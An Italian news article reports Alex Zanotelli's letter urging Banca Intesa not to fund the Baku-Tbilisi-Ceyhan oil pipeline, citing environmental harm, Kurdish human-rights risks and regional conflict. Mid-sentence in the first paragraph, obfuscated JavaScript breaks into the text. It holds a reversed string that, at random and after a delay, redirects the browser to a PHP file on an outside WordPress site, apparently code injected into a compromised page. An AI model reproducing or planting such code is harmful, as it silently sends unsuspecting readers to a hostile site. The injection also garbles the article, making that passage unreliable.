Zanotelli a Banca Intesa 'No a nuovi conflitti per il petrolio'

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Alex Zanotelli promotore e animatore di Rete Lilliput ha scritto oggi una lettera all’amministratore delegato di Banca Intesa, Corrado Passera, per chiedergli di non approvare il finanziamento del controverso progetto Baku-Tbilisi Cehyan (BTC). Il BTC, qualora completato, sarà il più lungo oleodotto al mondo (1.760 Km) e collegherà il Mar Caspio con il Mar Mediterraneo, parte dall’Azerbaigian, attraversa la Georgia per arrivare fino in Turchia. Elevatissimi i rischi ambientali e gli impatti sociali soprattutto in Turchia, dove il progetto attraversa zone curde, nonché unico il quadro legale che regola il progetto soltanto a vantaggio delle multinazionali, tra cui l’italiana ENI, cre (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando un pericoloso precedente per gli investimenti esteri in mega-progetti infrastrutturali e petroliferi.

Zanotelli ha espresso la sua più profonda preoccupazione in merito ad un progetto che rischia seriamente di acuire le tensioni internazionali in tutta l’area del Caspio, passando nelle vicinanze od attraversando numerose aree già di conflitto, quali ad esempio il Nagorno-Karabakh, il Dagestan, l’Abkhazia, l’Ossezia e la Cecenia ed il Kurdistan turco, e possa essere foriero di nuovi conflitti militari sulle risorse petrolifere. Forte è la preoccupazione di Zanotelli per il dispiegamento di forze di sicurezza americane in Georgia in queste settimane e per le possibili violazioni dei diritti umani ai danni delle comunità curde dal momento che la Gendarmeria turca, responsabile di sistematiche violazioni negli ultimi quindici anni, è stata resa responsabile della sicurezza del progetto in Turchia. “Oggi si stanno decidendo le nuove guerre per il petrolio”, ha dichiarato Padre Zanotelli. “Il ruolo della finanza dovrebbe essere di servizio per la società a favore della promozione della sostenibilità ambientale e sociale e dell’accesso al credito per i più poveri. Stanziare milioni di dollari per il BTC renderà Banca Intesa soltanto responsabile di possibili nuovi conflitti per le risorse naturali e di nuovi danni all’ambiente locale e globale”.

Malgrado le dichiarazioni e le assicurazioni del consorzio BTC in merito alle problematiche socio-ambientali legate alla realizzazione dell’oleodotto, dettagliate analisi delle Ong internazionali dei documenti del progetto hanno riscontrato che, anche nella sua progettazione, l’oleodotto è ben lontano dai criteri della best practice internazionale in materia ambientale e sociale. Due missioni sul campo condotte dalla Campagna per la riforma della Banca mondiale, tra le organizzazioni promotrici delle Rete di Lilliput, lungo l’intero percorso dell’oleodotto hanno riscontrato delle divergenze sostanziali tra quello che è stato riportato nei documenti relativi al progetto e promesso alle comunità locali e la realtà dei fatti.

Zanotelli è convinto che Banca Intesa, come primo gruppo bancario italiano, debba non solo assumersi le responsabilità dei finanziamenti concessi da un punto di vista ambientale e sociale prima ancora che economico e finanziario, ma sia anche tenuta a dare l’esempio agli altri gruppi bancari nel nostro paese, essendo Banca Intesa l’unica banca italiana coinvolta nel finanziamento del progetto. Infatti, recentemente Capitalia e San Paolo IMI hanno dichiarato di non essere coinvolte nel finanziamento del controverso progetto. Recentemente Banca Intesa ha sponsorizzato l’iniziativa di solidarietà la “Banca del Sorriso” in Italia. “In questi giorni di vigilia del santo Natale io continuo a pensare ai volti senza sorriso dei bambini che vivono lungo il percorso dell’oleodotto BTC, i quali motivi di sorridere non ne riceveranno da tale ingiusto progetto” ha dichiarato Zanotelli.

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